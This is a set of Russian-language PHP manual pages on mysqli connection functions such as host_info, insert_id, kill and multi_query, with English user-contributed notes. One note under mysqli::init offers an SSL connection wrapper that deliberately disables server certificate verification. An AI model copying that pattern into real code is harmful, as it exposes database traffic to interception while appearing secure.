    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

Смотрите также

  • Описание статистики

User Contributed Notes

vojtech dot kurka at gmail dot com 21-Feb-2019 02:44
Don't forget that "mysqlnd.collect_statistics" must be set to "1" in your ini config to use this method.
ulf dot wendel at phpdoc dot de 11-Jun-2013 01:09
It is not correct that the same information can be obtained from the server. For example, the server will not give you information about client side memory usage.
HockeyInJune 12-Sep-2009 03:13
While this function is only available if you're using the PHP MySQL Native Driver, you can get the same statistics without this function by using the MySQL SHOW STATUS Query.

Use 'SHOW SESSION STATUS;' for statistics about the current MySQL session.

Use 'SHOW GLOBAL STATUS;' for totals since the server was started.

After you have established a connection with the MySQL Server:

<?php
$result = $mysqli->query('SHOW SESSION STATUS;', MYSQLI_USE_RESULT);
while ($row = $result->fetch_assoc()) {
    $array[$row['Variable_name']] = $row['Value'];
}
$result->close();
print_r($array);
?>


Возвращает строку, содержащую тип используемого соединения

  • « mysqli::get_connection_stats
  • mysqli::$protocol_version »
  • PHP Manual
  • mysqli
  • Возвращает строку, содержащую тип используемого соединения

mysqli::$host_info

mysqli_get_host_info

(PHP 5, PHP 7, PHP 8)

mysqli::$host_info -- mysqli_get_host_info — Возвращает строку, содержащую тип используемого соединения

Описание

Объектно-ориентированный стиль

string $mysqli->host_info;

Процедурный стиль

mysqli_get_host_info(mysqli $mysql): string

Возвращает строку, описывающую соединение, которое обозначено в параметре mysql (включая имя хоста сервера).

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Символьная строка, содержащая имя хоста сервера и тип подключения.

Примеры

Пример #1 Пример использования $mysqli->host_info

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* вывод информации о хосте */
printf("Информация о хосте: %s\n", $mysqli->host_info);
?>

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* вывод информации о хосте */
printf("Информация о хосте: %s\n", mysqli_get_host_info($link));
?>

Результат выполнения данных примеров:

Информация о хосте: Localhost via UNIX socket

Смотрите также

  • mysqli_get_proto_info() - Возвращает версию используемого MySQL протокола

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию используемого MySQL протокола

  • « mysqli::$host_info
  • mysqli::$server_info »
  • PHP Manual
  • mysqli
  • Возвращает версию используемого MySQL протокола

mysqli::$protocol_version

mysqli_get_proto_info

(PHP 5, PHP 7, PHP 8)

mysqli::$protocol_version -- mysqli_get_proto_info — Возвращает версию используемого MySQL протокола

Описание

Объектно-ориентированный стиль

int $mysqli->protocol_version;

Процедурный стиль

mysqli_get_proto_info(mysqli $mysql): int

Возвращает целое число, представляющее собой версию протокола MySQL, используемого для соединения, переданного в mysql.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращает целое число, представляющее версию протокола.

Примеры

Пример #1 Пример использования $mysqli->protocol_version

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* Вывести версию протокола */
printf("Версия протокола: %d\n", $mysqli->protocol_version);
?>

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password");

/* Вывести версию протокола */
printf("Версия протокола: %d\n", mysqli_get_proto_info($link));
?>

Результат выполнения данных примеров:

Версия протокола: 10

Смотрите также

  • mysqli_get_host_info() - Возвращает строку, содержащую тип используемого соединения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версию MySQL сервера

  • « mysqli::$protocol_version
  • mysqli::$server_version »
  • PHP Manual
  • mysqli
  • Возвращает версию MySQL сервера

mysqli::$server_info

mysqli::get_server_info

mysqli_get_server_info

(PHP 5, PHP 7, PHP 8)

mysqli::$server_info -- mysqli::get_server_info -- mysqli_get_server_info — Возвращает версию MySQL сервера

Описание

Объектно-ориентированный стиль

string $mysqli->server_info;
public mysqli_stmt::get_server_info(): string

Процедурный стиль

mysqli_get_server_info(mysqli $mysql): string

Возвращает строку, содержащую версию сервера MySQL, к которому также подключён модуль MySQLi.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Строка символов, содержащая версию сервера.

Примеры

Пример #1 Пример использования $mysqli->server_info

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* выводим версию сервера */
printf("Версия сервера: %s\n", $mysqli->server_info);
?>

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password");

/* выводим версию сервера */
printf("Версия сервера: %s\n", mysqli_get_server_info($link));
?>

Результат выполнения данных примеров:

Версия сервера: 8.0.21

Смотрите также

  • mysqli_get_client_info() - Получает информацию о клиенте MySQL
  • mysqli_get_client_version() - Возвращает информацию о клиенте MySQL в виде строки
  • mysqli_get_server_version() - Возвращает версию сервера MySQL, представленную в виде integer

User Contributed Notes

it-solutions at schultz dot ch 11-Feb-2016 09:46
Please note that this property returns different versionstrings for MariaDB instances on LINUX and WINDOWS environments.

For a MariaDB instance 10.0.17:

on LINUX, this returns strings like "10.0.17-MariaDB-log"
on WINDOWS environments, this returns strings like "5.5.5-10.0.17-MariaDB-log"

To avoid this extra "5.5.5" on windows environments, you could use the SQL query "select version();" rather than this property of the mysqli extension


Возвращает версию сервера MySQL, представленную в виде integer

  • « mysqli::$server_info
  • mysqli::get_warnings »
  • PHP Manual
  • mysqli
  • Возвращает версию сервера MySQL, представленную в виде integer

mysqli::$server_version

mysqli_get_server_version

(PHP 5, PHP 7, PHP 8)

mysqli::$server_version -- mysqli_get_server_version — Возвращает версию сервера MySQL, представленную в виде integer

Описание

Объектно-ориентированный стиль

int $mysqli->server_version;

Процедурный стиль

mysqli_get_server_version(mysqli $mysql): int

Функция mysqli_get_server_version() возвращает версию сервера, к которому создано соединение (переданное в параметре mysql) в виде целого числа.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Целочисленное представление версии сервера.

Это число собирается следующим образом main_version * 10000 + minor_version * 100 + sub_version (т.е. версия 4.1.0 будет представлена как 40100).

Примеры

Пример #1 Пример использования $mysqli->server_version

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* выводим версию сервера */
printf("Версия сервера: %d\n", $mysqli->server_version);
?>

Процедурный стиль

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password");

/* выводим версию сервера */
printf("Версия сервера: %d\n", mysqli_get_server_version($link));
?>

Результат выполнения данных примеров:

Версия сервера: 80021

Смотрите также

  • mysqli_get_client_info() - Получает информацию о клиенте MySQL
  • mysqli_get_client_version() - Возвращает информацию о клиенте MySQL в виде строки
  • mysqli_get_server_info() - Возвращает версию MySQL сервера

User Contributed Notes

There are no user contributed notes for this page.


Получает результат SHOW WARNINGS

  • « mysqli::$server_version
  • mysqli::$info »
  • PHP Manual
  • mysqli
  • Получает результат SHOW WARNINGS

mysqli::get_warnings

mysqli_get_warnings

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

mysqli::get_warnings -- mysqli_get_warnings — Получает результат SHOW WARNINGS

Описание

Объектно-ориентированный стиль

public mysqli::get_warnings(): mysqli_warning|false

Процедурный стиль

mysqli_get_warnings(mysqli $mysql): mysqli_warning|false
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

Anonymous 05-Mar-2014 08:36
Take note:
Calling this function will change the output of mysqli_affected_rows if any warnings are returned. So if you're using mysqli_affected_rows in your application, make sure to call it before calling mysqli_get_warnings.
marcus at synchromedia dot co dot uk 19-Aug-2009 02:02
With a bit of rooting about with reflection, I spotted that the mysqli_warning class has a next() function, so I tried calling it and it does indeed progress through the available warnings! Following on from my earlier example:

<?php
$r = mysqli_query($db, "INSERT INTO blah SET z = '1'");
$j = mysqli_warning_count($db);
if ($j > 0) {
    $e = mysqli_get_warnings($db);
    for ($i = 0; $i < $j; $i++) {
        var_dump($e);
        $e->next();
    }
}
?>

There is a simple way of traversing the warnings:

<?php
$r = mysqli_query($db, "INSERT INTO blah SET z = '1'");
if (mysqli_warning_count($db)) {
   $e = mysqli_get_warnings($db);
   do {
       echo "Warning: $e->errno: $e->message\n";
   } while ($e->next());
}
?>
marcus at synchromedia dot co dot uk 19-Aug-2009 07:13
I'm not sure how useful this function is as implemented. Take this example:

CREATE TABLE `blah` (
  `x` varchar(100) NOT NULL,
  `y` varchar(100) NOT NULL,
  `z` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO blah SET z = '1';
Query OK, 1 row affected, 2 warnings (0.00 sec)

mysql> show warnings;
+---------+------+----------------------------------------+
| Level   | Code | Message                                |
+---------+------+----------------------------------------+
| Warning | 1364 | Field 'x' doesn't have a default value |
| Warning | 1364 | Field 'y' doesn't have a default value |
+---------+------+----------------------------------------+

Doing the same from PHP using mysqli_get_warnings(), you get this instead:

object(mysqli_warning)#4 (3) {
  ["message"]=>
  string(38) "Field 'x' doesn't have a default value"
  ["sqlstate"]=>
  string(5) "HY000"
  ["errno"]=>
  int(1364)
}

i.e. it only returns the first warning. I suspect it should return an array of these objects rather than just one. At least you know what the return value looks like now, since the docs don't say!


Извлекает информацию о последнем выполненном запросе

  • « mysqli::get_warnings
  • mysqli::init »
  • PHP Manual
  • mysqli
  • Извлекает информацию о последнем выполненном запросе

mysqli::$info

mysqli_info

(PHP 5, PHP 7, PHP 8)

mysqli::$info -- mysqli_info — Извлекает информацию о последнем выполненном запросе

Описание

Объектно-ориентированный стиль

?string $mysqli->info;

Процедурный стиль

mysqli_info(mysqli $mysql): ?string

Функция mysqli_info() возвращает строку с информацией о последнем выполненном запросе к базе данных. Описание строки приведено ниже:

Возможные возвращаемые значения mysqli_info
Тип запроса | Пример результирующей строки
INSERT INTO...SELECT... | Records: 100 Duplicates: 0 Warnings: 0
INSERT INTO...VALUES (...),(...),(...) | Records: 3 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ... | Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE ... | Records: 3 Duplicates: 0 Warnings: 0
UPDATE ... | Rows matched: 40 Changed: 40 Warnings: 0

Замечание:

Запросы, не попадающие в приведённый список, не поддерживаются. В таких ситуациях mysqli_info() вернёт пустую строку.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Строка символов представляющая дополнительную информацию о последнем запущенном запросе.

Примеры

Пример #1 Пример использования $mysqli->info

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$mysqli->query("CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO ... SELECT */
$mysqli->query("INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", $mysqli->info);
?>

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

mysqli_query($link, "CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO ... SELECT */
mysqli_query($link, "INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", mysqli_info($link));
?>

Результат выполнения данных примеров:

Records: 150  Duplicates: 0  Warnings: 0

Смотрите также

  • mysqli_affected_rows() - Получает число строк, затронутых предыдущей операцией MySQL
  • mysqli_warning_count() - Возвращает количество предупреждений из последнего запроса заданного подключения
  • mysqli_num_rows() - Получает количество строк в наборе результатов

User Contributed Notes

vzverev [at] newmail.ru (Vasiliy Zverev) 18-May-2017 03:00
If inserted just one row, mysqli_info() returns empty string which might be confusing, but mysqli_affected_rows() returns 1 in this case.
user at biglake dot com 14-Dec-2010 06:43
Might save someone some time...

<?php
$prototype='Rows matched: 0 Changed: 1 Warnings: 2';
list($matched, $changed, $warnings) = sscanf($prototype, "Rows matched: %d Changed: %d Warnings: %d");
?>


Инициализирует MySQLi и возвращает объект для использования в функции mysqli_real_connect()

  • « mysqli::$info
  • mysqli::$insert_id »
  • PHP Manual
  • mysqli
  • Инициализирует MySQLi и возвращает объект для использования в функции mysqli_real_connect()

mysqli::init

mysqli_init

(PHP 5, PHP 7, PHP 8)

mysqli::init -- mysqli_init — Инициализирует MySQLi и возвращает объект для использования в функции mysqli_real_connect()

Описание

Объектно-ориентированный стиль

public mysqli::init(): ?bool

Процедурный стиль

mysqli_init(): mysqli|false

Выделяет память или инициализирует объект MYSQL, пригодный для использования в функциях mysqli_options().

Замечание:

Любые последующие вызовы mysqli-функций с этим ресурсом (кроме mysqli_options()) потерпят неудачу, пока не будет вызвана функция mysqli_real_connect().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод mysqli::init() возвращает null в случае успешного выполнения или false в случае возникновения ошибки. Функция mysqli_init() возвращает объект в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Объектно-ориентированный стиль вызова метода mysqli::init() устарел. Замените вызов метода parent::init() с помощью parent::__construct().

Примеры

Смотрите mysqli_real_connect().

Смотрите также

  • mysqli_options() - Установка настроек
  • mysqli_close() - Закрывает ранее открытое соединение с базой данных
  • mysqli_real_connect() - Устанавливает соединение с сервером mysql
  • mysqli_connect() - Псевдоним mysqli::__construct

User Contributed Notes

Kam.Dab 11-Jun-2023 02:14
I wrote support ssl mysqli you don't need change anymore mysqli connect exchange to your own mysqli . Overwrite __construct mysqli with support ssl can be like that:
<?php class myssl_mysqli extends \mysqli {
        public function __construct($db_host, $db_user, $db_pass, $db_name, $port, $persistent = true, $ssl = false, $certpublic = "") {
            if($ssl) {
        parent::init();
                parent::options(MYSQLI_OPT_SSL_VERIFY_SERVER_CERT, false);
        parent::ssl_set(NULL, NULL, $certpublic, NULL, NULL);
            parent::real_connect(($persistent ? 'p:' : '') . $db_host, $db_user, $db_pass, $db_name, $port, '', MYSQLI_CLIENT_SSL | MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT );
            } else {
                 parent::__construct($db_host, $db_user, $db_pass, $db_name, $port);
            }
}
$db = new myssl_mysqli('localhost','user', 'pass','db', '3306', true, true, '/home/mypublicowncert.pem');
?>
in this example i off the verificate cert by authority ssl, due it own cery created
evgen at sysmasters dot net 21-Feb-2022 08:41
Correct way to connect db

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("127.0.0.1", "db_user", "db_pass", "db_name",3306);

$result = $mysqli->query("SELECT somefield1, somefield2 FROM sometable ORDER BY ID LIMIT 3");

/* Close the connection as soon as it becomes unnecessary */
$mysqli->close();

foreach ($result as $row) {
    /* Processing data received from the database */
echo var_dump ($row);
}


Возвращает значение, созданное для столбца AUTO_INCREMENT последним запросом

  • « mysqli::init
  • mysqli::kill »
  • PHP Manual
  • mysqli
  • Возвращает значение, созданное для столбца AUTO_INCREMENT последним запросом

mysqli::$insert_id

mysqli_insert_id

(PHP 5, PHP 7, PHP 8)

mysqli::$insert_id -- mysqli_insert_id — Возвращает значение, созданное для столбца AUTO_INCREMENT последним запросом

Описание

Объектно-ориентированный стиль

int|string $mysqli->insert_id;

Процедурный стиль

mysqli_insert_id(mysqli $mysql): int|string

Возвращает идентификатор, сгенерированный запросом INSERT или UPDATE для таблицы со столбцом, имеющим атрибут AUTO_INCREMENT. В случае многострочного оператора INSERT он возвращает первое автоматически сгенерированное значение, которое было успешно добавлено.

Выполнение запроса INSERT или UPDATE с использованием MySQL-функции LAST_INSERT_ID() также изменит значение, возвращаемое mysqli_insert_id(). Если LAST_INSERT_ID(expr) использовался для генерации значения AUTO_INCREMENT, он возвращает значение последнего expr вместо сгенерированного значения AUTO_INCREMENT.

Возвращает 0, если предыдущий оператор не изменил значение AUTO_INCREMENT. mysqli_insert_id() должен вызываться сразу после запроса, сгенерировавшего значение.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Значение поля AUTO_INCREMENT, которое было затронуто предыдущим запросом. Возвращает ноль, если предыдущий запрос не затронул таблицы, содержащие поле AUTO_INCREMENT.

Только запросы, выданные с использованием текущего соединения, влияют на возвращаемое значение. На значение не влияют запросы, выданные с использованием других подключений или клиентов.

Замечание:

Если число больше максимального значения целого числа, функция вернёт строку.

Примеры

Пример #1 Пример функции $mysqli->insert_id

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$mysqli->query("CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
$mysqli->query($query);

printf("ID новой записи: %d.\n", $mysqli->insert_id);

/* удаление таблицы */
$mysqli->query("DROP TABLE myCity");

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

mysqli_query($link, "CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
mysqli_query($link, $query);

printf("ID новой записи: %d.\n", mysqli_insert_id($link));

/* удаление таблицы */
mysqli_query($link, "DROP TABLE myCity");

Результат выполнения данных примеров:

ID новой записи: 1.

User Contributed Notes

jpage at chatterbox dot fyi 22-Mar-2023 06:50
What is unclear is how concurrency control affects this function.   When you make two successive calls to mysql where the result of the second depends on the first,  another user may have done an insert in the meantime.

The documentation is silent on this, so I always determine the value of an auto increment before and after an insert to guard against this.
adrian dot nesse dot wiik at gmail dot com 18-Jan-2023 10:05
If you try to INSERT a row using ON DUPLICATE KEY UPDATE, be aware that insert_id will not update if the ON DUPLICATE KEY UPDATE clause was triggered.

When you think about it, it's actually very logical since ON DUPLICATE KEY UPDATE is an UPDATE statement, and not an INSERT.

In a worst case scenario, if you're iterating over something and doing INSERTs while relying on insert_id in later code, you could be pointing at the wrong row on iterations where ON DUPLICATE KEY UPDATE is triggered!
mmulej at gmail dot com 02-Feb-2021 03:39
There has been no examples with prepared statements yet.

```php
$u_name = "John Doe";
$u_email = "johndoe@example.com";

$stmt = $connection->prepare(
    "INSERT INTO users (name, email) VALUES (?, ?)"
);
$stmt->bind_param('ss', $u_name, $u_email);
$stmt->execute();

echo $stmt->insert_id;
```

For UPDATE you simply change query string and binding parameters accordingly, the rest stays the same.

Of course the table needs to have AUTOINCREMENT PRIMARY KEY.
www dot wesley at gmail dot com 26-May-2019 03:54
When using "INSERT ... ON DUPLICATE KEY UPDATE `id` = LAST_INSERT_ID(`id`)", the AUTO_INCREMENT will increase in an InnoDB table, but not in a MyISAM table.
drburnett at mail dot com 19-Jan-2017 03:35
msqli_insert_id();
This seems to return that last id entered.
BUT,  if you have multiple users running the same code, depending on the server or processor I have seen it return the wrong id.

Test Case:
Two users added an item to their list.
I have had a few times where the id was the id from the other user.
This is very very rare and it only happens on my test server and not my main server.

I am guessing it is because of multicores (maybe hyperthreading) or how the operating system handles multi-threads.

It is rare, but it happens.
owenzx at gmail dot com 06-Sep-2013 02:54
The example is lack of insert_id in multi_query. Here is my example:
Assuming you have a new test_db in mysql like this:

create database if not exists test_db;
use test_db;
create table user_info (_id serial, name varchar(100) not null);
create table house_info (_id serial, address varchar(100) not null);

Then you run a php file like this:

<?php
define('SERVER', '127.0.01');
define('MYSQL_USER', 'your_user_name');
define('MYSQL_PASSWORD', 'your_password');

$db = new mysqli(SERVER, MYSQL_USER, MYSQL_PASSWORD, "test_db", 3306);
if ($db->connect_errno)
  echo "create db failed, error is ", $db->connect_error;
else {
  $sql = "insert into user_info "
    . "(name) values "
    . "('owen'), ('john'), ('lily')";
  if (!$result = $db->query($sql))
    echo "insert failed, error: ", $db->error;
  else
    echo "last insert id in query is ", $db->insert_id, "\n";
  $sql = "insert into user_info"
    . "(name) values "
    . "('jim');";
  $sql .= "insert into house_info "
    . "(address) values "
    . "('shenyang')";
  if (!$db->multi_query($sql))
    echo "insert failed in multi_query, error: ", $db->error;
  else {
    echo "last insert id in first multi_query is ", $db->insert_id, "\n";
    if ($db->more_results() && $db->next_result())
      echo "last insert id in second multi_query is ", $db->insert_id, "\n";
    else
      echo "insert failed in multi_query, second query error is ", $db->error;
  }
  $db->close();
}
?>

You will get output like this:

last insert id in query is 1
last insert id in first multi_query is 4
last insert id in second multi_query is 1

Conclusion:
1 insert_id works in multi_query
2 insert_id is the first id mysql has used if you have insert multi values
bert at nospam thinc dot nl 22-Jul-2008 08:58
Watch out for the oo-style use of $db->insert_id. When the insert_id exceeds 2^31 (2147483648) fetching the insert id renders a wrong, too large number. You better use the procedural mysqli_insert_id( $db ) instead.

[EDIT by danbrown AT php DOT net: This is another prime example of the limits of 32-bit signed integers.]
Nick Baicoianu 04-May-2007 01:10
When running extended inserts on a table with an AUTO_INCREMENT field, the value of mysqli_insert_id() will equal the value of the *first* row inserted, not the last, as you might expect.

<?
//mytable has an auto_increment field
$db->query("INSERT INTO mytable (field1,field2,field3) VALUES ('val1','val2','val3'),
('val1','val2','val3'),
('val1','val2','val3')");

echo $db->insert_id; //will echo the id of the FIRST row inserted
?>
will at phpfever dot com 20-Apr-2006 06:40
I have received many statements that the insert_id property has a bug because it "works sometimes".  Keep in mind that when using the OOP approach, the actual instantiation of the mysqli class will hold the insert_id.

The following code will return nothing.
<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$result->insert_id;
}
?>

This is because the insert_id property doesn't belong to the result, but rather the actual mysqli class.  This would work:

<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$mysqli->insert_id;
}
?>
alan at commondream dot net 03-Nov-2004 11:44
I was having problems with getting the inserted id, and did a bit of testing. It ended up that if you commit a transaction before getting the last inserted id, it returns 0 every time, but if you get the last inserted id before committing the transaction, you get the correct value.


Запрос для сервера завершить выполнение процесса MySQL

  • « mysqli::$insert_id
  • mysqli::more_results »
  • PHP Manual
  • mysqli
  • Запрос для сервера завершить выполнение процесса MySQL

mysqli::kill

mysqli_kill

(PHP 5, PHP 7, PHP 8)

mysqli::kill -- mysqli_kill — Запрос для сервера завершить выполнение процесса MySQL

Описание

Объектно-ориентированный стиль

public mysqli::kill(int $process_id): bool

Процедурный стиль

mysqli_kill(mysqli $mysql, int $process_id): bool

Эта функция используется, чтобы отправить на сервер команду завершить MySQL процесс заданный параметром process_id. Значение этого параметра должно быть получено с помощью функции mysqli_thread_id().

Для завершения работы текущего запроса используйте SQL команду KILL QUERY processid.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli::kill()

Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверка соединения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

/* определим id нашего процесса */
$thread_id = $mysqli->thread_id;

/* убиваем соединение */
$mysqli->kill($thread_id);

/* здесь должна произойти ошибка */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
printf("Ошибка: %s\n", $mysqli->error);
exit;
}

/* закрываем соединение */
$mysqli->close();
?>

Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверка соединения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

/* определим id нашего процесса */
$thread_id = mysqli_thread_id($link);

/* убиваем соединение */
mysqli_kill($link, $thread_id);

/* здесь должна произойти ошибка */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
printf("Ошибка: %s\n", mysqli_error($link));
exit;
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Error: MySQL server has gone away

Смотрите также

  • mysqli_thread_id() - Возвращает ID процесса текущего подключения

User Contributed Notes

There are no user contributed notes for this page.


Проверка, есть ли ещё результаты в мультизапросе

  • « mysqli::kill
  • mysqli::multi_query »
  • PHP Manual
  • mysqli
  • Проверка, есть ли ещё результаты в мультизапросе

mysqli::more_results

mysqli_more_results

(PHP 5, PHP 7, PHP 8)

mysqli::more_results -- mysqli_more_results — Проверка, есть ли ещё результаты в мультизапросе

Описание

Объектно-ориентированный стиль

public mysqli::more_results(): bool

Процедурный стиль

mysqli_more_results(mysqli $mysql): bool

Указывает, есть ли ещё доступные результирующие наборы от предыдущего вызова функции mysqli_multi_query().

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Возвращается true в случае, если один или более результирующих наборов (включая ошибки) доступны после предыдущего вызова функции mysqli_multi_query(), иначе false.

Примеры

Смотрите mysqli_multi_query().

Смотрите также

  • mysqli_multi_query() - Выполняет один или несколько запросов к базе данных
  • mysqli_next_result() - Подготовка следующего доступного результирующего набора из multi_query
  • mysqli_store_result() - Передаёт на клиента результирующий набор последнего запроса
  • mysqli_use_result() - Готовит результирующий набор на сервере к использованию

User Contributed Notes

There are no user contributed notes for this page.


Выполняет один или несколько запросов к базе данных

  • « mysqli::more_results
  • mysqli::next_result »
  • PHP Manual
  • mysqli
  • Выполняет один или несколько запросов к базе данных

mysqli::multi_query

mysqli_multi_query

(PHP 5, PHP 7, PHP 8)

mysqli::multi_query -- mysqli_multi_query — Выполняет один или несколько запросов к базе данных

Описание

Объектно-ориентированный стиль

public mysqli::multi_query(string $query): bool

Процедурный стиль

mysqli_multi_query(mysqli $mysql, string $query): bool

Запускает на выполнение один или несколько запросов, перечисленных через точку с запятой.

Внимание

Предупреждение безопасности: SQL-инъекция

Вместо составления строки запроса с включением переменных значений необходимо подготавливать запросы. Либо строки запроса должны быть экранированы функцией mysqli_real_escape_string() и правильно отформатированы.

Запросы отправляются асинхронно за один вызов базы данных, но база данных обрабатывает их последовательно. mysqli_multi_query() ожидает завершения первого запроса, прежде чем вернуть управление PHP. Затем сервер MySQL обработает следующий запрос в последовательности. Как только следующий результат будет готов, MySQL будет ждать следующего выполнения mysqli_next_result() из PHP.

Для обработки нескольких запросов рекомендуется использовать do-while. Соединение будет занято до тех пор, пока все запросы не будут завершены и их результаты не будут загружены в PHP. Никакой другой оператор не может быть выдан в том же соединении, пока не будут обработаны все запросы. Чтобы перейти к следующему запросу в последовательности, используйте mysqli_next_result(). Если следующий результат ещё не готов, mysqli будет ждать ответа от сервера MySQL. Чтобы проверить, есть ли ещё результаты, используйте mysqli_more_results().

